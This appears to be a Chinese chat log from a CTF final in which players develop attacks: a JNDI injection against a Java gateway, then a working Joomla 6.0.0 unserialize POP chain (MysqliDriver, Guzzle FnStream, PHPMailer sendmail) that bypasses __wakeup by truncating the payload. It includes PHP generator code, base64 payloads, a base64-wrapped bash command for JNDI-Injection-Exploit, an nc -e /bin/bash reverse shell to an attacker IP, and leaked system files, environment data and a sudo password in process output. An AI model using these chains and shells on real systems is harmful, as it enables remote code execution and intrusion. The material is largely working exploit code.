Em 我现在是让它往本地发请求的 好像也没成功.

错的错的

~没招了~~

1
2
3
还要ssl加密
{&#34;response&#34;:&#34;failed&#34;,&#34;error&#34;:&#34;SSL peer shut down incorrectly: service:jmx:rmi:\\/\\/\\/jndi\\/rmi:\\/\\/10.222.18.29:8899\\/Object&#34;}

啊? 怎么构造请求的 我还在Unterminated object at character 就是用的刚才发那道题的poc,

不对啊,这不是说明rmi要有密钥它才接收吗,感觉打不了啊

我也感觉jndi打不了 寄

我fastjson也报了这个Unrecognized SSL message, plaintext connection

1
2
3
4
5

<pre class="result-preview">Raw bytes: b&#39;ZBXD\x01\x8c\x00\x00\x00\x00\x00\x00\x00{&#34;response&#34;:&#34;failed&#34;,&#34;error&#34;:&#34;Unrecognized SSL message, plaintext connection?: service:jmx:rmi:\\/\\/\\/jndi\\/rmi:\\/\\/127.0.0.1:10052\\/jmxrmi&#34;}&#39;

Hex: 5a425844018c000000000000007b22726573706f6e7365223a226661696c6564222c226572726f72223a22556e7265636f676e697a65642053534c206d6573736167652c20706c61696e7465787420636f6e6e656374696f6e3f3a20736572766963653a6a6d783a726d693a5c2f5c2f5c2f6a6e64695c2f726d693a5c2f5c2f3132372e302e302e313a31303035325c2f6a6d78726d69227d</pre>

Log4j 注入无效, 为什么会出”Unrecognized SSL message, plaintext connection?: service:jmx:rmi:\/\/\/jndi\/rmi:\/\/127.0.0.1:10052\/jmxrmi” 我不理解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import struct
import json

JNDI_URL = "service:jmx:rmi:///jndi/ldap://10.222.18.17:1389/2v5bxy"

def generate_payload():
data = {
"request": "java gateway jmx",
"jmx_endpoint": JNDI_URL,
"keys": ["system.cpu.load"]
}

json_body = json.dumps(data, separators=(',', ':'))

# 构造头部: ZBXD\x01
header = b'ZBXD\x01'

# 构造长度: 8字节小端序
length = struct.pack('<Q', len(json_body))

# 拼接完整 Payload
payload = header + length + json_body.encode('utf-8')

# 转换为 Nettools 需要的 hex 格式 (\xNN)
hex_payload = "".join([f"\\x{b:02x}" for b in payload])

print(f"[+] JSON Body: {json_body}")
print(f"[+] Payload Hex:\n{hex_payload}")

if __name__ == "__main__":
generate_payload()

1
2
3
4
5
6
echo -n 'cat /flag >> /opt/blogapp/blog/testssrf.txt' | base64
Y2F0IC9mbGFnID4+IC9vcHQvYmxvZ2FwcC9ibG9nL3Rlc3Rzc3JmLnR4dA==
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar \
-C "bash -c {echo,Y2F0IC9mbGFnID4+IC9vcHQvYmxvZ2FwcC9ibG9nL3Rlc3Rzc3JmLnR4dA==}|{base64,-d}|{bash,-i}" \
-A 10.222.18.17

就行了

Joomla!

Joomla是世界上非常流行的软件包,它十分的安全,使用MVC结构组织代码,可扩展性非常的强大,被广泛的用于企业,政府,个人搭建web应用,目前全球范围内约2.8%(2014的统计数据)的网站是基于joomla搭建。在CMS全球市场份额占有约9%。现在来挖挖它最新版的反序列化吧!

内网地址 : 172.31.18.20

访问环境 :

http://172.31.18.20:80

VPN: (空闲)

项目源码

php版本好像必须大于8.3, libraries\vendor\guzzlehttp\psr7\src\FnStream.php 不能绕过wakeup的waf

unser.php

1
2
3
4
5
6
7
<?php
require 'libraries/vendor/autoload.php';
define('_JEXEC',1);

$ser = $_POST['unser'];
unserialize(base64_decode($ser));

libraries\vendor\autoload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

// autoload.php @generated by Composer

if (PHP_VERSION_ID < 50600) {
if (!headers_sent()) {
header('HTTP/1.1 500 Internal Server Error');
}
$err = 'Composer 2.3.0 dropped support for autoloading on PHP <5.6 and you are running '.PHP_VERSION.', please upgrade PHP or use Composer 2.2 LTS via "composer self-update --2.2". Aborting.'.PHP_EOL;
if (!ini_get('display_errors')) {
if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') {
fwrite(STDERR, $err);
} elseif (!headers_sent()) {
echo $err;
}
}
trigger_error(
$err,
E_USER_ERROR
);
}

require_once __DIR__ . '/composer/autoload_real.php';

return ComposerAutoloaderInitf577684c10af21b55e694ebddac803ca::getLoader();

libraries\vendor\composer\autoload_real.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php

// autoload_real.php @generated by Composer

class ComposerAutoloaderInitf577684c10af21b55e694ebddac803ca
{
private static $loader;

public static function loadClassLoader($class)
{
if ('Composer\Autoload\ClassLoader' === $class) {
require __DIR__ . '/ClassLoader.php';
}
}

/**
* @return \Composer\Autoload\ClassLoader
*/
public static function getLoader()
{
if (null !== self::$loader) {
return self::$loader;
}

require __DIR__ . '/platform_check.php';

spl_autoload_register(array('ComposerAutoloaderInitf577684c10af21b55e694ebddac803ca', 'loadClassLoader'), true, true);
self::$loader = $loader = new \Composer\Autoload\ClassLoader(\dirname(__DIR__));
spl_autoload_unregister(array('ComposerAutoloaderInitf577684c10af21b55e694ebddac803ca', 'loadClassLoader'));

require __DIR__ . '/autoload_static.php';
call_user_func(\Composer\Autoload\ComposerStaticInitf577684c10af21b55e694ebddac803ca::getInitializer($loader));

$loader->register(true);

$filesToLoad = \Composer\Autoload\ComposerStaticInitf577684c10af21b55e694ebddac803ca::$files;
$requireFile = \Closure::bind(static function ($fileIdentifier, $file) {
if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) {
$GLOBALS['__composer_autoload_files'][$fileIdentifier] = true;

require $file;
}
}, null, null);
foreach ($filesToLoad as $fileIdentifier => $file) {
$requireFile($fileIdentifier, $file);
}

return $loader;
}
}

libraries\vendor\composer\autoload_static.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public static $files = array (
'6e3fae29631ef280660b3cdad06f25a8' => __DIR__ . '/..' . '/symfony/deprecation-contracts/function.php',
'0e6d7bf4a5811bfa5cf40c5ccd6fae6a' => __DIR__ . '/..' . '/symfony/polyfill-mbstring/bootstrap.php',
'07d7f1a47144818725fd8d91a907ac57' => __DIR__ . '/..' . '/laminas/laminas-diactoros/src/functions/create_uploaded_file.php',
'da94ac5d3ca7d2dbab84ce561ce72bfd' => __DIR__ . '/..' . '/laminas/laminas-diactoros/src/functions/marshal_headers_from_sapi.php',
'3d97c8dcdfba8cb85d3b34f116bb248b' => __DIR__ . '/..' . '/laminas/laminas-diactoros/src/functions/marshal_method_from_sapi.php',
'e6f3bc6883e449ab367280b34158c05b' => __DIR__ . '/..' . '/laminas/laminas-diactoros/src/functions/marshal_protocol_version_from_sapi.php',
'de95e0ac670b27c84ef8c5ac41fc1b34' => __DIR__ . '/..' . '/laminas/laminas-diactoros/src/functions/normalize_server.php',
'b6c2870932b0250c10334a86dcb33c7f' => __DIR__ . '/..' . '/laminas/laminas-diactoros/src/functions/normalize_uploaded_files.php',
'd02cf21124526632320d6f20b1bbf905' => __DIR__ . '/..' . '/laminas/laminas-diactoros/src/functions/parse_cookie_header.php',
'320cde22f66dd4f5d3fd621d3e88b98f' => __DIR__ . '/..' . '/symfony/polyfill-ctype/bootstrap.php',
'8825ede83f2f289127722d4e842cf7e8' => __DIR__ . '/..' . '/symfony/polyfill-intl-grapheme/bootstrap.php',
'e69f7f6ee287b969198c3c9d6777bd38' => __DIR__ . '/..' . '/symfony/polyfill-intl-normalizer/bootstrap.php',
'b6b991a57620e2fb6b2f66f03fe9ddc2' => __DIR__ . '/..' . '/symfony/string/Resources/functions.php',
'667aeda72477189d0494fecd327c3641' => __DIR__ . '/..' . '/symfony/var-dumper/Resources/functions/dump.php',
'3109cb1a231dcd04bee1f9f620d46975' => __DIR__ . '/..' . '/paragonie/sodium_compat/autoload.php',
'7b11c4dc42b3b3023073cb14e519683c' => __DIR__ . '/..' . '/ralouphie/getallheaders/src/getallheaders.php',
'09f6b20656683369174dd6fa83b7e5fb' => __DIR__ . '/..' . '/symfony/polyfill-uuid/bootstrap.php',
'b45b351e6b6f7487d819961fef2fda77' => __DIR__ . '/..' . '/jakeasmith/http_build_url/src/http_build_url.php',
'decc78cc4436b1292c6c0d151b19445c' => __DIR__ . '/..' . '/phpseclib/phpseclib/phpseclib/bootstrap.php',
'56823cacd97af379eceaf82ad00b928f' => __DIR__ . '/..' . '/phpseclib/bcmath_compat/lib/bcmath.php',
);

?

加载机制libraries/vendor/autoload.php 通常遵循 PSR-4 标准。这意味着除了 Joomla 自身的 Joomla\... 命名空间外,任何位于 libraries/vendor 下的第三方库都可以被自动加载并用于构造 POP 链

  1. Joomla Core 存在 (Namespaced)joomla/database/src 目录表明使用的是带有命名空间(Namespace)的新版 Joomla 架构。最经典且最稳健的利用链依然是 Database Driver 析构链
  2. GuzzleHttp PSR7 存在guzzlehttp/psr7 存在。如果版本合适,可以使用 FnStream 进行文件写入或 RCE。
1
2
3
4
5
6
Joomla Driver 在析构时调用 $this->connection->close()。
将 $this->connection 设置为 FnStream 对象。
FnStream::close() 会执行 ($this->_fn_close)(),注意无参调用
设置 _fn_close 为 'phpinfo'。[2]
绕过 __wakeup: 我们构造一个包裹数组,并在序列化字符串末尾人为制造语法错误(Truncate),导致 unserialize 报错。在 PHP 内部机制中,这会触发已创建对象(FnStream)的 "Fast Destruct",从而在 __wakeup 抛出异常之前(或错误中断时)就执行析构,触发 Payload

拿到info了(执行无参函数)

1
2
3
unser=
YToxOntpOjA7TzozNToiSm9vbWxhXERhdGFiYXNlXE15c3FsaVxNeXNxbGlEcml2ZXIiOjI6e3M6MTM6IgAqAGNvbm5lY3Rpb24iO086MjQ6Ikd1enpsZUh0dHBcUHNyN1xGblN0cmVhbSI6Mjp7czozMzoiAEd1enpsZUh0dHBcUHNyN1xGblN0cmVhbQBtZXRob2RzIjthOjE6e3M6NToiY2xvc2UiO3M6NzoicGhwaW5mbyI7fXM6OToiX2ZuX2Nsb3NlIjtzOjc6InBocGluZm8iO31zOjIxOiIAKgBkaXNjb25uZWN0SGFuZGxlcnMiO2E6MDp7fX0=

看看怎么RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
namespace GuzzleHttp\Psr7 {
class FnStream {
// 设置方法,让它认为 close 方法已存在
private $methods = ['close' => 'phpinfo'];
// 核心 Payload: 当 close 被调用时执行的函数
public $_fn_close = 'phpinfo';
public function __wakeup() {} // 占位
}
}

namespace Joomla\Database\Mysqli {
class MysqliDriver {
protected $connection;
protected $disconnectHandlers;

public function __construct() {
// 让 Driver 以为 connection 是一个有效的 MySQL 连接对象
// 析构时会调用 $this->connection->close()
$this->connection = new \GuzzleHttp\Psr7\FnStream();

// 保持为空,我们不走 call_user_func 那条路
$this->disconnectHandlers = [];
}
}
}

namespace {
$driver = new \Joomla\Database\Mysqli\MysqliDriver();
$wrapper = [$driver];
$ser = serialize($wrapper);
// 移除最后一个 '}' 字符,导致 unserialize 报错,强制触发已生成对象的析构函数
// 从而绕过 Guzzle FnStream 内部对 __wakeup 的防护
$malicious_ser = substr($ser, 0, -1);

echo base64_encode($malicious_ser);
echo "\n";
}

libraries\vendor\phpmailer\phpmailer\src\PHPMailer.php 能不能把信息传出来 红了

send() -> postSend() -> sendmailSend()

1
2
3
4
// PHPMailer.php
$sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);
$mail = @popen($sendmail, 'w');

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<?php
namespace Joomla\Database\Mysqli {
class MysqliDriver {
protected $connection;
protected $disconnectHandlers = [];

public function __construct($connection) {
$this->connection = $connection;
}
}
}

namespace GuzzleHttp\Psr7 {
class FnStream {
public $_fn_close;
private $methods = [];
public function __construct($callback) {
$this->_fn_close = $callback;
$this->methods = ['close' => '1'];
}
}
}

namespace PHPMailer\PHPMailer {
class PHPMailer {
public $Mailer = 'sendmail';

public $Sendmail = 'ls';
public $From = 'admin@localhost.com';
public $Sender = 'admin@localhost.com';
public $Subject = 'FlagCheck';
public $Body = 'GiveMeFlag';

public $SMTPDebug = 3;
public $Debugoutput = 'echo';

protected $to = [];
protected $cc = [];
protected $bcc = [];
protected $ReplyTo = [];
protected $all_recipients = [];
protected $RecipientsQueue = [];
protected $ReplyToQueue = [];
protected $attachment = [];
protected $CustomHeader = [];
protected $boundary = [];
protected $language = [];

protected $exceptions = false;

protected $SingleToArray = [];

public function __construct() {
$this->to[] = ['admin@localhost.com', 'Admin'];
$this->all_recipients['admin@localhost.com'] = true;
}
}
}

namespace {
$mailer = new \PHPMailer\PHPMailer\PHPMailer();

$fnStream = new \GuzzleHttp\Psr7\FnStream([$mailer, 'send']);

$driver = new \Joomla\Database\Mysqli\MysqliDriver($fnStream);

$wrapper = [$driver];
$ser = serialize($wrapper);
$payload = substr($ser, 0, -1);

echo base64_encode($payload);
echo "\n";
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
HTTP/1.1 200 OK
Date: Wed, 26 Nov 2025 08:24:35 GMT
Server: Apache/2.4.65 (Debian)
X-Powered-By: PHP/8.3.28
Vary: Accept-Encoding
Content-Length: 931
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

2025-11-26 08:24:35 Sending with sendmail
2025-11-26 08:24:35 Sendmail path: /bin/cat /flag
2025-11-26 08:24:35 Sendmail command: /bin/cat /flag -oi -fadmin@localhost.com -t
2025-11-26 08:24:35 Envelope sender: admin@localhost.com
2025-11-26 08:24:35 Headers: Date: Wed, 26 Nov 2025 08:24:35 +0000
To: Admin <admin@localhost.com>
From: admin@localhost.com
Subject: FlagCheck
Message-ID: <60cqaAFubssuyGTvsupAunlaLNHh23WByXjmVUJR8mI@172.31.18.20>
X-Mailer: PHPMailer 6.10.0 (https://github.com/PHPMailer/PHPMailer)
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
2025-11-26 08:24:35 Result: false
2025-11-26 08:24:35 Could not execute: /bin/cat /flag

卧槽了 Could not execute 为什么

cat /flag -- 也不行

@popen()被拼成@popen(“ls -oi -fadmin@localhost.com -t”,”w”)了,能成功执行嘛

Cat 加 – 不知道行不行, ls不行

~有点没招~~

感觉是能用的,写文件?(没写成功

“cat /flag ^> aaa.txt – -oi -fadmin@localhost.com -t” >被转义了 cp呢

能cat >>追加到index里面去吗(bu 现在权限是ctf的用户权限 应该是大于www-data, cp了还是读不了吧 cat /etc/passwd都执行不了 我本地cat是能执行的,就是回显不了

1
2
3
4
5
6
7
8
  cat /flag > aaa.txt --
[Wed Nov 26 17:29:35 2025] 127.0.0.1:49183 Accepted
[Wed Nov 26 17:29:35 2025] PHP Warning: unserialize(): Error at offset 978 of 978 bytes in /mnt/e/CTF/qwnt_final/Joomla_6.0.0/unser.php on line 6
sdasdasdasdadadsadsd //这就是flag
cat: '>': No such file or directory
cat: aaa.txt: No such file or directory
cat: -fadmin@localhost.com: No such file or directory

啊?

传了什么

你是本地吗 是 LCE

远程直接500了这个 你能连上靶机嘛 vpn 我试试 嘶我也500了

ok

不对我本地也是500,但能执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[Wed Nov 26 17:48:22 2025] 127.0.0.1:57860 Accepted
[Wed Nov 26 17:48:22 2025] PHP Warning: unserialize(): Error at offset 978 of 978 bytes in /mnt/e/CTF/qwnt_final/Joomla_6.0.0/unser.php on line 6
sdasdasdasdadadsadsd
cat: '>': No such file or directory
cat: aaa.txt: No such file or directory
cat: -fadmin@localhost.com: No such file or directory
cat: -t: No such file or directory
[Wed Nov 26 17:48:22 2025] PHP Fatal error: Uncaught LogicException: FnStream should never be unserialized in /mnt/e/CTF/qwnt_final/Joomla_6.0.0/libraries/vendor/guzzlehttp/psr7/src/FnStream.php:68
Stack trace:
#0 [internal function]: GuzzleHttp\Psr7\FnStream->__wakeup()
#1 /mnt/e/CTF/qwnt_final/Joomla_6.0.0/unser.php(6): unserialize()
#2 {main}
thrown in /mnt/e/CTF/qwnt_final/Joomla_6.0.0/libraries/vendor/guzzlehttp/psr7/src/FnStream.php on line 68
[Wed Nov 26 17:48:22 2025] 127.0.0.1:57860 [500]: POST /unser.php - Uncaught LogicException: FnStream should never be unserialized in /mnt/e/CTF/qwnt_final/Joomla_6.0.0/libraries/vendor/guzzlehttp/psr7/src/FnStream.php:68
Stack trace:
#0 [internal function]: GuzzleHttp\Psr7\FnStream->__wakeup()
#1 /mnt/e/CTF/qwnt_final/Joomla_6.0.0/unser.php(6): unserialize()
#2 {main}
thrown in /mnt/e/CTF/qwnt_final/Joomla_6.0.0/libraries/vendor/guzzlehttp/psr7/src/FnStream.php on line 68
[Wed Nov 26 17:48:22 2025] 127.0.0.1:57860 Closing

它wakeup失败就500了应该,要不直接弹试试?连vpn能弹吗()

反弹shell吗 连了vpn会给你一个新ip应该是可以访问 10.222.18.17(这是我的) 。。我不大会用

但是不确定靶机上有什么, https://forum.ywhack.com/shell.php 这里可以直接复制 ip和端口可以改

1
2
3
4
5
6
7
kali
sudo nc -lvnp 2525
listening on [any] 2525 ...

靶机
nc -e /bin/bash 10.222.18.17 2525

疑似弹不出, 感觉还是之前无法直接执行命令一样的问题

现在相当于 nc -e /bin/bash 10.222.18.17 2525 -oi -fadmin@localhost.com -t 了 这个不吃注释的影响 (确实

1
2
cat /etc/passwd\;\#\# -oi -fadmin@localhost.com -t

注释符 会被\转义失效

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
mysql:x:100:101:MariaDB Server:/nonexistent:/bin/false
ctf:x:1000:1000::/home/ctf:/bin/bash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
APACHE_CONFDIR=/etc/apache2
HOSTNAME=7485d01a3287
PHP_INI_DIR=/usr/local/etc/php
SHLVL=0
PHP_LDFLAGS=-Wl,-O1 -pie
APACHE_RUN_DIR=/var/run/apache2
PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
PHP_VERSION=8.3.28
APACHE_PID_FILE=/var/run/apache2/apache2.pid
GPG_KEYS=1198C0117593497A5EC5C199286AF1F9897469DC C28D937575603EB4ABB725861C0779DC5C0A9DE4 AFD8691FDAEDF03BDF6E460563F15A9B715376CA
PHP_ASC_URL=https://www.php.net/distributions/php-8.3.28.tar.xz.asc
PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
PHP_URL=https://www.php.net/distributions/php-8.3.28.tar.xz
TERM=xterm
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
APACHE_LOCK_DIR=/var/lock/apache2
LANG=C
DEBIAN_FRONTEND=noninteractive
APACHE_RUN_GROUP=ctf
APACHE_RUN_USER=ctf
APACHE_LOG_DIR=/var/log/apache2
PWD=/var/www/html
PHPIZE_DEPS=autoconf dpkg-dev file g++ gcc libc-dev make pkg-config re2c
PHP_SHA256=25e3860f30198a386242891c0bf9e2955931f7b666b96c3e3103d36a2a322326
APACHE_ENVVARS=/etc/apache2/envvars
TZ=Asia/Shanghai
APACHE_CONFDIR=/etc/apache2
HOSTNAME=7485d01a3287
PHP_INI_DIR=/usr/local/etc/php
SHLVL=0
PHP_LDFLAGS=-Wl,-O1 -pie
APACHE_RUN_DIR=/var/run/apache2
PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
PHP_VERSION=8.3.28
APACHE_PID_FILE=/var/run/apache2/apache2.pid
GPG_KEYS=1198C0117593497A5EC5C199286AF1F9897469DC C28D937575603EB4ABB725861C0779DC5C0A9DE4 AFD8691FDAEDF03BDF6E460563F15A9B715376CA
PHP_ASC_URL=https://www.php.net/distributions/php-8.3.28.tar.xz.asc
PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
PHP_URL=https://www.php.net/distributions/php-8.3.28.tar.xz
TERM=xterm
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
APACHE_LOCK_DIR=/var/lock/apache2
LANG=C
DEBIAN_FRONTEND=noninteractive
APACHE_RUN_GROUP=ctf
APACHE_RUN_USER=ctf
APACHE_LOG_DIR=/var/log/apache2
PWD=/var/www/html
PHPIZE_DEPS=autoconf dpkg-dev file g++ gcc libc-dev make pkg-config re2c
PHP_SHA256=25e3860f30198a386242891c0bf9e2955931f7b666b96c3e3103d36a2a322326
APACHE_ENVVARS=/etc/apache2/envvars
TZ=Asia/Shanghai

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
#!/bin/sh

# run htcacheclean if set to 'cron' mode

set -e
set -u

type htcacheclean > /dev/null 2>&1 || exit 0
[ -e /etc/default/apache-htcacheclean ] || exit 0

# edit /etc/default/apache-htcacheclean to change this
HTCACHECLEAN_MODE=daemon
HTCACHECLEAN_RUN=auto
HTCACHECLEAN_SIZE=300M
HTCACHECLEAN_PATH=/var/cache/apache2/mod_cache_disk
HTCACHECLEAN_OPTIONS=""

. /etc/default/apache-htcacheclean

[ "$HTCACHECLEAN_MODE" = "cron" ] || exit 0

htcacheclean ${HTCACHECLEAN_OPTIONS} \
-p${HTCACHECLEAN_PATH} \
-l${HTCACHECLEAN_SIZE}
#!/bin/sh

set -e

# Systemd systems use a systemd timer unit which is preferable to
# run. We want to randomize the apt update and unattended-upgrade
# runs as much as possible to avoid hitting the mirrors all at the
# same time. The systemd time is better at this than the fixed
# cron.daily time
if [ -d /run/systemd/system ]; then
exit 0
fi

check_power()
{
# laptop check, on_ac_power returns:
# 0 (true) System is on main power
# 1 (false) System is not on main power
# 255 (false) Power status could not be determined
# Desktop systems always return 255 it seems
if command -v on_ac_power >/dev/null; then
if on_ac_power; then
:
elif [ $? -eq 1 ]; then
return 1
fi
fi
return 0
}

# sleep for a random interval of time (default 30min)
# (some code taken from cron-apt, thanks)
random_sleep()
{
RandomSleep=1800
eval $(apt-config shell RandomSleep APT::Periodic::RandomSleep)
if [ $RandomSleep -eq 0 ]; then
return
fi
if [ -z "$RANDOM" ] ; then
# A fix for shells that do not have this bash feature.
RANDOM=$(( $(dd if=/dev/urandom bs=2 count=1 2> /dev/null | cksum | cut -d' ' -f1) % 32767 ))
fi
TIME=$(($RANDOM % $RandomSleep))
sleep $TIME
}

# delay the job execution by a random amount of time
random_sleep

# ensure we don't do this on battery
check_power || exit 0

# run daily job
exec /usr/lib/apt/apt.systemd.daily
#!/bin/sh

# Skip if systemd is running.
if [ -d /run/systemd/system ]; then
exit 0
fi

/usr/libexec/dpkg/dpkg-db-backup
#!/bin/sh

# run htcacheclean if set to 'cron' mode

set -e
set -u

type htcacheclean > /dev/null 2>&1 || exit 0
[ -e /etc/default/apache-htcacheclean ] || exit 0

# edit /etc/default/apache-htcacheclean to change this
HTCACHECLEAN_MODE=daemon
HTCACHECLEAN_RUN=auto
HTCACHECLEAN_SIZE=300M
HTCACHECLEAN_PATH=/var/cache/apache2/mod_cache_disk
HTCACHECLEAN_OPTIONS=""

. /etc/default/apache-htcacheclean

[ "$HTCACHECLEAN_MODE" = "cron" ] || exit 0

htcacheclean ${HTCACHECLEAN_OPTIONS} \
-p${HTCACHECLEAN_PATH} \
-l${HTCACHECLEAN_SIZE}
#!/bin/sh

set -e

# Systemd systems use a systemd timer unit which is preferable to
# run. We want to randomize the apt update and unattended-upgrade
# runs as much as possible to avoid hitting the mirrors all at the
# same time. The systemd time is better at this than the fixed
# cron.daily time
if [ -d /run/systemd/system ]; then
exit 0
fi

check_power()
{
# laptop check, on_ac_power returns:
# 0 (true) System is on main power
# 1 (false) System is not on main power
# 255 (false) Power status could not be determined
# Desktop systems always return 255 it seems
if command -v on_ac_power >/dev/null; then
if on_ac_power; then
:
elif [ $? -eq 1 ]; then
return 1
fi
fi
return 0
}

# sleep for a random interval of time (default 30min)
# (some code taken from cron-apt, thanks)
random_sleep()
{
RandomSleep=1800
eval $(apt-config shell RandomSleep APT::Periodic::RandomSleep)
if [ $RandomSleep -eq 0 ]; then
return
fi
if [ -z "$RANDOM" ] ; then
# A fix for shells that do not have this bash feature.
RANDOM=$(( $(dd if=/dev/urandom bs=2 count=1 2> /dev/null | cksum | cut -d' ' -f1) % 32767 ))
fi
TIME=$(($RANDOM % $RandomSleep))
sleep $TIME
}

# delay the job execution by a random amount of time
random_sleep

# ensure we don't do this on battery
check_power || exit 0

# run daily job
exec /usr/lib/apt/apt.systemd.daily
#!/bin/sh

# Skip if systemd is running.
if [ -d /run/systemd/system ]; then
exit 0
fi

/usr/libexec/dpkg/dpkg-db-backup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
UID          PID    PPID  C STIME TTY          TIME CMD
root 1 0 0 12:02 pts/0 00:00:00 apache2 -DFOREGROUND
root 10 1 0 12:02 pts/0 00:00:00 /bin/sh /usr/bin/mysqld_safe --user=mysql --skip-name-resolve --skip-networking=0 --socket=/run/mysqld/mysqld.sock
mysql 116 10 0 12:02 pts/0 00:00:29 /usr/sbin/mariadbd --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --skip-name-resolve --skip-networking=0 --skip-log-error --pid-file=/run/mysqld/mysqld.pid --socket=/run/mysqld/mysqld.sock
root 117 10 0 12:02 pts/0 00:00:00 logger -t mysqld -p daemon error
root 156 1 0 12:02 pts/0 00:00:00 /bin/sh /usr/local/bin/docker-php-entrypoint apache2-foreground
ctf 175 1 0 12:02 ? 00:00:00 script -q -f -c sh -lc "echo c2Gq01N | sudo -S -v >/dev/null 2>&1; sleep infinity" /dev/null
ctf 176 175 0 12:02 pts/1 00:00:00 sh -lc echo c2Gq01N | sudo -S -v >/dev/null 2>&1; sleep infinity
ctf 195 1 0 12:02 pts/0 00:00:00 apache2 -DFOREGROUND
ctf 198 1 0 12:02 pts/0 00:00:00 apache2 -DFOREGROUND
ctf 200 176 0 12:02 pts/1 00:00:00 sleep infinity
ctf 299 1 0 12:06 pts/0 00:00:00 apache2 -DFOREGROUND
ctf 301 1 0 12:06 pts/0 00:00:00 apache2 -DFOREGROUND
ctf 302 1 0 12:06 pts/0 00:00:00 apache2 -DFOREGROUND
ctf 1975 1 0 13:15 pts/0 00:00:00 apache2 -DFOREGROUND
ctf 3870 1 0 14:33 pts/0 00:00:00 apache2 -DFOREGROUND
ctf 8827 1 0 17:38 pts/0 00:00:00 apache2 -DFOREGROUND
ctf 8832 1 0 17:38 pts/0 00:00:00 apache2 -DFOREGROUND
ctf 8833 1 0 17:38 pts/0 00:00:00 apache2 -DFOREGROUND
ctf 11086 3870 0 18:45 pts/0 00:00:00 sh -c -- Sendmail path: sudo cat /hint --
root 11087 11086 0 18:45 pts/0 00:00:00 sudo cat /hint
ctf 11104 8832 0 18:46 pts/0 00:00:00 sh -c -- Sendmail path: sudo cat /hint --
root 11105 11104 0 18:46 pts/0 00:00:00 sudo cat /hint
root 11119 156 0 18:47 pts/0 00:00:00 sleep 5s
ctf 11123 198 0 18:47 pts/0 00:00:00 sh -c -- Sendmail path: ps -efww --
ctf 11124 11123 0 18:47 pts/0 00:00:00 ps -efww
